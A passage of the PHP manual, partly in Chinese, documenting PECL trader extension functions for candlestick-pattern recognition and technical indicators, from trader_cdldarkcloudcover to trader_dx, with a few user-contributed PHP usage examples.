收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Dark Cloud Cover

  • ? trader_cdlcounterattack
  • trader_cdldoji ?
  • PHP Manual
  • Trader 函数
  • Dark Cloud Cover

trader_cdldarkcloudcover

(PECL trader >= 0.2.0)

trader_cdldarkcloudcover — Dark Cloud Cover

说明

trader_cdldarkcloudcover(
array $open,
array $high,
array $low,
array $close,
float $penetration = ?
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

penetration

一个烛台渗入到另一个烛台的百分比。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Doji

  • ? trader_cdldarkcloudcover
  • trader_cdldojistar ?
  • PHP Manual
  • Trader 函数
  • Doji

trader_cdldoji

(PECL trader >= 0.2.0)

trader_cdldoji — Doji

说明

trader_cdldoji(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Doji Star

  • ? trader_cdldoji
  • trader_cdldragonflydoji ?
  • PHP Manual
  • Trader 函数
  • Doji Star

trader_cdldojistar

(PECL trader >= 0.2.0)

trader_cdldojistar — Doji Star

说明

trader_cdldojistar(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Dragonfly Doji

  • ? trader_cdldojistar
  • trader_cdlengulfing ?
  • PHP Manual
  • Trader 函数
  • Dragonfly Doji

trader_cdldragonflydoji

(PECL trader >= 0.2.0)

trader_cdldragonflydoji — Dragonfly Doji

说明

trader_cdldragonflydoji(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Engulfing Pattern

  • ? trader_cdldragonflydoji
  • trader_cdleveningdojistar ?
  • PHP Manual
  • Trader 函数
  • Engulfing Pattern

trader_cdlengulfing

(PECL trader >= 0.2.0)

trader_cdlengulfing — Engulfing Pattern

说明

trader_cdlengulfing(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Evening Doji Star

  • ? trader_cdlengulfing
  • trader_cdleveningstar ?
  • PHP Manual
  • Trader 函数
  • Evening Doji Star

trader_cdleveningdojistar

(PECL trader >= 0.2.0)

trader_cdleveningdojistar — Evening Doji Star

说明

trader_cdleveningdojistar(
array $open,
array $high,
array $low,
array $close,
float $penetration = ?
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

penetration

一个烛台渗入到另一个烛台的百分比。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Evening Star

  • ? trader_cdleveningdojistar
  • trader_cdlgapsidesidewhite ?
  • PHP Manual
  • Trader 函数
  • Evening Star

trader_cdleveningstar

(PECL trader >= 0.2.0)

trader_cdleveningstar — Evening Star

说明

trader_cdleveningstar(
array $open,
array $high,
array $low,
array $close,
float $penetration = ?
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

penetration

一个烛台渗入到另一个烛台的百分比。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Up/Down-gap side-by-side white lines

  • ? trader_cdleveningstar
  • trader_cdlgravestonedoji ?
  • PHP Manual
  • Trader 函数
  • Up/Down-gap side-by-side white lines

trader_cdlgapsidesidewhite

(PECL trader >= 0.2.0)

trader_cdlgapsidesidewhite — Up/Down-gap side-by-side white lines

说明

trader_cdlgapsidesidewhite(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Gravestone Doji

  • ? trader_cdlgapsidesidewhite
  • trader_cdlhammer ?
  • PHP Manual
  • Trader 函数
  • Gravestone Doji

trader_cdlgravestonedoji

(PECL trader >= 0.2.0)

trader_cdlgravestonedoji — Gravestone Doji

说明

trader_cdlgravestonedoji(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hammer

  • ? trader_cdlgravestonedoji
  • trader_cdlhangingman ?
  • PHP Manual
  • Trader 函数
  • Hammer

trader_cdlhammer

(PECL trader >= 0.2.0)

trader_cdlhammer — Hammer

说明

trader_cdlhammer(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hanging Man

  • ? trader_cdlhammer
  • trader_cdlharami ?
  • PHP Manual
  • Trader 函数
  • Hanging Man

trader_cdlhangingman

(PECL trader >= 0.2.0)

trader_cdlhangingman — Hanging Man

说明

trader_cdlhangingman(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Harami Pattern

  • ? trader_cdlhangingman
  • trader_cdlharamicross ?
  • PHP Manual
  • Trader 函数
  • Harami Pattern

trader_cdlharami

(PECL trader >= 0.2.0)

trader_cdlharami — Harami Pattern

说明

trader_cdlharami(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Harami Cross Pattern

  • ? trader_cdlharami
  • trader_cdlhighwave ?
  • PHP Manual
  • Trader 函数
  • Harami Cross Pattern

trader_cdlharamicross

(PECL trader >= 0.2.0)

trader_cdlharamicross — Harami Cross Pattern

说明

trader_cdlharamicross(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


High-Wave Candle

  • ? trader_cdlharamicross
  • trader_cdlhikkake ?
  • PHP Manual
  • Trader 函数
  • High-Wave Candle

trader_cdlhighwave

(PECL trader >= 0.2.0)

trader_cdlhighwave — High-Wave Candle

说明

trader_cdlhighwave(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hikkake Pattern

  • ? trader_cdlhighwave
  • trader_cdlhikkakemod ?
  • PHP Manual
  • Trader 函数
  • Hikkake Pattern

trader_cdlhikkake

(PECL trader >= 0.2.0)

trader_cdlhikkake — Hikkake Pattern

说明

trader_cdlhikkake(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Modified Hikkake Pattern

  • ? trader_cdlhikkake
  • trader_cdlhomingpigeon ?
  • PHP Manual
  • Trader 函数
  • Modified Hikkake Pattern

trader_cdlhikkakemod

(PECL trader >= 0.2.0)

trader_cdlhikkakemod — Modified Hikkake Pattern

说明

trader_cdlhikkakemod(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Homing Pigeon

  • ? trader_cdlhikkakemod
  • trader_cdlidentical3crows ?
  • PHP Manual
  • Trader 函数
  • Homing Pigeon

trader_cdlhomingpigeon

(PECL trader >= 0.2.0)

trader_cdlhomingpigeon — Homing Pigeon

说明

trader_cdlhomingpigeon(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Identical Three Crows

  • ? trader_cdlhomingpigeon
  • trader_cdlinneck ?
  • PHP Manual
  • Trader 函数
  • Identical Three Crows

trader_cdlidentical3crows

(PECL trader >= 0.2.0)

trader_cdlidentical3crows — Identical Three Crows

说明

trader_cdlidentical3crows(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


In-Neck Pattern

  • ? trader_cdlidentical3crows
  • trader_cdlinvertedhammer ?
  • PHP Manual
  • Trader 函数
  • In-Neck Pattern

trader_cdlinneck

(PECL trader >= 0.2.0)

trader_cdlinneck — In-Neck Pattern

说明

trader_cdlinneck(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Inverted Hammer

  • ? trader_cdlinneck
  • trader_cdlkicking ?
  • PHP Manual
  • Trader 函数
  • Inverted Hammer

trader_cdlinvertedhammer

(PECL trader >= 0.2.0)

trader_cdlinvertedhammer — Inverted Hammer

说明

trader_cdlinvertedhammer(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Kicking

  • ? trader_cdlinvertedhammer
  • trader_cdlkickingbylength ?
  • PHP Manual
  • Trader 函数
  • Kicking

trader_cdlkicking

(PECL trader >= 0.2.0)

trader_cdlkicking — Kicking

说明

trader_cdlkicking(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Kicking - bull/bear determined by the longer marubozu

  • ? trader_cdlkicking
  • trader_cdlladderbottom ?
  • PHP Manual
  • Trader 函数
  • Kicking - bull/bear determined by the longer marubozu

trader_cdlkickingbylength

(PECL trader >= 0.2.0)

trader_cdlkickingbylength — Kicking - bull/bear determined by the longer marubozu

说明

trader_cdlkickingbylength(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Ladder Bottom

  • ? trader_cdlkickingbylength
  • trader_cdllongleggeddoji ?
  • PHP Manual
  • Trader 函数
  • Ladder Bottom

trader_cdlladderbottom

(PECL trader >= 0.2.0)

trader_cdlladderbottom — Ladder Bottom

说明

trader_cdlladderbottom(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Long Legged Doji

  • ? trader_cdlladderbottom
  • trader_cdllongline ?
  • PHP Manual
  • Trader 函数
  • Long Legged Doji

trader_cdllongleggeddoji

(PECL trader >= 0.2.0)

trader_cdllongleggeddoji — Long Legged Doji

说明

trader_cdllongleggeddoji(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Long Line Candle

  • ? trader_cdllongleggeddoji
  • trader_cdlmarubozu ?
  • PHP Manual
  • Trader 函数
  • Long Line Candle

trader_cdllongline

(PECL trader >= 0.2.0)

trader_cdllongline — Long Line Candle

说明

trader_cdllongline(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Marubozu

  • ? trader_cdllongline
  • trader_cdlmatchinglow ?
  • PHP Manual
  • Trader 函数
  • Marubozu

trader_cdlmarubozu

(PECL trader >= 0.2.0)

trader_cdlmarubozu — Marubozu

说明

trader_cdlmarubozu(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Matching Low

  • ? trader_cdlmarubozu
  • trader_cdlmathold ?
  • PHP Manual
  • Trader 函数
  • Matching Low

trader_cdlmatchinglow

(PECL trader >= 0.2.0)

trader_cdlmatchinglow — Matching Low

说明

trader_cdlmatchinglow(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Mat Hold

  • ? trader_cdlmatchinglow
  • trader_cdlmorningdojistar ?
  • PHP Manual
  • Trader 函数
  • Mat Hold

trader_cdlmathold

(PECL trader >= 0.2.0)

trader_cdlmathold — Mat Hold

说明

trader_cdlmathold(
array $open,
array $high,
array $low,
array $close,
float $penetration = ?
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

penetration

一个烛台渗入到另一个烛台的百分比。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Morning Doji Star

  • ? trader_cdlmathold
  • trader_cdlmorningstar ?
  • PHP Manual
  • Trader 函数
  • Morning Doji Star

trader_cdlmorningdojistar

(PECL trader >= 0.2.0)

trader_cdlmorningdojistar — Morning Doji Star

说明

trader_cdlmorningdojistar(
array $open,
array $high,
array $low,
array $close,
float $penetration = ?
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

penetration

一个烛台渗入到另一个烛台的百分比。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Morning Star

  • ? trader_cdlmorningdojistar
  • trader_cdlonneck ?
  • PHP Manual
  • Trader 函数
  • Morning Star

trader_cdlmorningstar

(PECL trader >= 0.2.0)

trader_cdlmorningstar — Morning Star

说明

trader_cdlmorningstar(
array $open,
array $high,
array $low,
array $close,
float $penetration = ?
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

penetration

一个烛台渗入到另一个烛台的百分比。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


On-Neck Pattern

  • ? trader_cdlmorningstar
  • trader_cdlpiercing ?
  • PHP Manual
  • Trader 函数
  • On-Neck Pattern

trader_cdlonneck

(PECL trader >= 0.2.0)

trader_cdlonneck — On-Neck Pattern

说明

trader_cdlonneck(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Piercing Pattern

  • ? trader_cdlonneck
  • trader_cdlrickshawman ?
  • PHP Manual
  • Trader 函数
  • Piercing Pattern

trader_cdlpiercing

(PECL trader >= 0.2.0)

trader_cdlpiercing — Piercing Pattern

说明

trader_cdlpiercing(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rickshaw Man

  • ? trader_cdlpiercing
  • trader_cdlrisefall3methods ?
  • PHP Manual
  • Trader 函数
  • Rickshaw Man

trader_cdlrickshawman

(PECL trader >= 0.2.0)

trader_cdlrickshawman — Rickshaw Man

说明

trader_cdlrickshawman(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rising/Falling Three Methods

  • ? trader_cdlrickshawman
  • trader_cdlseparatinglines ?
  • PHP Manual
  • Trader 函数
  • Rising/Falling Three Methods

trader_cdlrisefall3methods

(PECL trader >= 0.2.0)

trader_cdlrisefall3methods — Rising/Falling Three Methods

说明

trader_cdlrisefall3methods(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Separating Lines

  • ? trader_cdlrisefall3methods
  • trader_cdlshootingstar ?
  • PHP Manual
  • Trader 函数
  • Separating Lines

trader_cdlseparatinglines

(PECL trader >= 0.2.0)

trader_cdlseparatinglines — Separating Lines

说明

trader_cdlseparatinglines(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Shooting Star

  • ? trader_cdlseparatinglines
  • trader_cdlshortline ?
  • PHP Manual
  • Trader 函数
  • Shooting Star

trader_cdlshootingstar

(PECL trader >= 0.2.0)

trader_cdlshootingstar — Shooting Star

说明

trader_cdlshootingstar(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Short Line Candle

  • ? trader_cdlshootingstar
  • trader_cdlspinningtop ?
  • PHP Manual
  • Trader 函数
  • Short Line Candle

trader_cdlshortline

(PECL trader >= 0.2.0)

trader_cdlshortline — Short Line Candle

说明

trader_cdlshortline(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Spinning Top

  • ? trader_cdlshortline
  • trader_cdlstalledpattern ?
  • PHP Manual
  • Trader 函数
  • Spinning Top

trader_cdlspinningtop

(PECL trader >= 0.2.0)

trader_cdlspinningtop — Spinning Top

说明

trader_cdlspinningtop(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Stalled Pattern

  • ? trader_cdlspinningtop
  • trader_cdlsticksandwich ?
  • PHP Manual
  • Trader 函数
  • Stalled Pattern

trader_cdlstalledpattern

(PECL trader >= 0.2.0)

trader_cdlstalledpattern — Stalled Pattern

说明

trader_cdlstalledpattern(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Stick Sandwich

  • ? trader_cdlstalledpattern
  • trader_cdltakuri ?
  • PHP Manual
  • Trader 函数
  • Stick Sandwich

trader_cdlsticksandwich

(PECL trader >= 0.2.0)

trader_cdlsticksandwich — Stick Sandwich

说明

trader_cdlsticksandwich(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Takuri (Dragonfly Doji with very long lower shadow)

  • ? trader_cdlsticksandwich
  • trader_cdltasukigap ?
  • PHP Manual
  • Trader 函数
  • Takuri (Dragonfly Doji with very long lower shadow)

trader_cdltakuri

(PECL trader >= 0.2.0)

trader_cdltakuri — Takuri (Dragonfly Doji with very long lower shadow)

说明

trader_cdltakuri(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Tasuki Gap

  • ? trader_cdltakuri
  • trader_cdlthrusting ?
  • PHP Manual
  • Trader 函数
  • Tasuki Gap

trader_cdltasukigap

(PECL trader >= 0.2.0)

trader_cdltasukigap — Tasuki Gap

说明

trader_cdltasukigap(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Thrusting Pattern

  • ? trader_cdltasukigap
  • trader_cdltristar ?
  • PHP Manual
  • Trader 函数
  • Thrusting Pattern

trader_cdlthrusting

(PECL trader >= 0.2.0)

trader_cdlthrusting — Thrusting Pattern

说明

trader_cdlthrusting(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Tristar Pattern

  • ? trader_cdlthrusting
  • trader_cdlunique3river ?
  • PHP Manual
  • Trader 函数
  • Tristar Pattern

trader_cdltristar

(PECL trader >= 0.2.0)

trader_cdltristar — Tristar Pattern

说明

trader_cdltristar(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Unique 3 River

  • ? trader_cdltristar
  • trader_cdlupsidegap2crows ?
  • PHP Manual
  • Trader 函数
  • Unique 3 River

trader_cdlunique3river

(PECL trader >= 0.2.0)

trader_cdlunique3river — Unique 3 River

说明

trader_cdlunique3river(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Upside Gap Two Crows

  • ? trader_cdlunique3river
  • trader_cdlxsidegap3methods ?
  • PHP Manual
  • Trader 函数
  • Upside Gap Two Crows

trader_cdlupsidegap2crows

(PECL trader >= 0.2.0)

trader_cdlupsidegap2crows — Upside Gap Two Crows

说明

trader_cdlupsidegap2crows(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Upside/Downside Gap Three Methods

  • ? trader_cdlupsidegap2crows
  • trader_ceil ?
  • PHP Manual
  • Trader 函数
  • Upside/Downside Gap Three Methods

trader_cdlxsidegap3methods

(PECL trader >= 0.2.0)

trader_cdlxsidegap3methods — Upside/Downside Gap Three Methods

说明

trader_cdlxsidegap3methods(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Ceil

  • ? trader_cdlxsidegap3methods
  • trader_cmo ?
  • PHP Manual
  • Trader 函数
  • Vector Ceil

trader_ceil

(PECL trader >= 0.2.0)

trader_ceil — Vector Ceil

说明

trader_ceil(array $real): array

Calculates the next highest integer for each value in real and returns the resulting array.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:52
<?php

$real = array(-7.8, 0, 0.1, 0.3, 1, 1.1, 55.1);

$result = trader_ceil($real);

var_dump($result);
/*
array(7) {
  [0]=>
  float(-7)
  [1]=>
  float(0)
  [2]=>
  float(1)
  [3]=>
  float(1)
  [4]=>
  float(1)
  [5]=>
  float(2)
  [6]=>
  float(56)
}
*/


Chande Momentum Oscillator

  • ? trader_ceil
  • trader_correl ?
  • PHP Manual
  • Trader 函数
  • Chande Momentum Oscillator

trader_cmo

(PECL trader >= 0.2.0)

trader_cmo — Chande Momentum Oscillator

说明

trader_cmo(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Pearson's Correlation Coefficient (r)

  • ? trader_cmo
  • trader_cos ?
  • PHP Manual
  • Trader 函数
  • Pearson's Correlation Coefficient (r)

trader_correl

(PECL trader >= 0.2.0)

trader_correl — Pearson's Correlation Coefficient (r)

说明

trader_correl(array $real0, array $real1, int $timePeriod = ?): array

参数

real0

浮点数数组。

real1

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Cos

  • ? trader_correl
  • trader_cosh ?
  • PHP Manual
  • Trader 函数
  • Vector Trigonometric Cos

trader_cos

(PECL trader >= 0.2.0)

trader_cos — Vector Trigonometric Cos

说明

trader_cos(array $real): array

Calculates the cosine for each value in real and returns the resulting array.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:48
<?php

$real = array(0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1, 1.1);

$result = trader_cos($real);

var_dump($result);
/*
array(12) {
  [0]=>
  float(1)
  [1]=>
  float(0.995)
  [2]=>
  float(0.98)
  [3]=>
  float(0.955)
  [4]=>
  float(0.921)
  [5]=>
  float(0.878)
  [6]=>
  float(0.825)
  [7]=>
  float(0.765)
  [8]=>
  float(0.697)
  [9]=>
  float(0.622)
  [10]=>
  float(0.54)
  [11]=>
  float(0.454)
}
}
*/


Vector Trigonometric Cosh

  • ? trader_cos
  • trader_dema ?
  • PHP Manual
  • Trader 函数
  • Vector Trigonometric Cosh

trader_cosh

(PECL trader >= 0.2.0)

trader_cosh — Vector Trigonometric Cosh

说明

trader_cosh(array $real): array

Calculates the hyperbolic cosine for each value in real and returns the resulting array.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Double Exponential Moving Average

  • ? trader_cosh
  • trader_div ?
  • PHP Manual
  • Trader 函数
  • Double Exponential Moving Average

trader_dema

(PECL trader >= 0.2.0)

trader_dema — Double Exponential Moving Average

说明

trader_dema(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Arithmetic Div

  • ? trader_dema
  • trader_dx ?
  • PHP Manual
  • Trader 函数
  • Vector Arithmetic Div

trader_div

(PECL trader >= 0.2.0)

trader_div — Vector Arithmetic Div

说明

trader_div(array $real0, array $real1): array

Divides each value from real0 by the corresponding value from real1 and returns the resulting array.

参数

real0

浮点数数组。

real1

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:37
<?php

$result = trader_div([1,2,3,4,5], [6,7,8,9,10]);

var_dump($result);
/*
array(5) {
  [0]=>
  float(0.167) // 1 / 6
  [1]=>
  float(0.286) / 2 / 7
  [2]=>
  float(0.375) // 3 / 8
  [3]=>
  float(0.444) // 4 / 9
  [4]=>
  float(0.5) // 5 / 10
}
*/


Directional Movement Index

  • ? trader_div
  • trader_ema ?
  • PHP Manual
  • Trader 函数
  • Directional Movement Index

trader_dx

(PECL trader >= 0.2.0)

trader_dx — Directional Movement Index

说明

trader_dx(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Exponential Moving Average

  • ? trader_dx
  • trader_errno ?
  • PHP Manual
  • Trader 函数
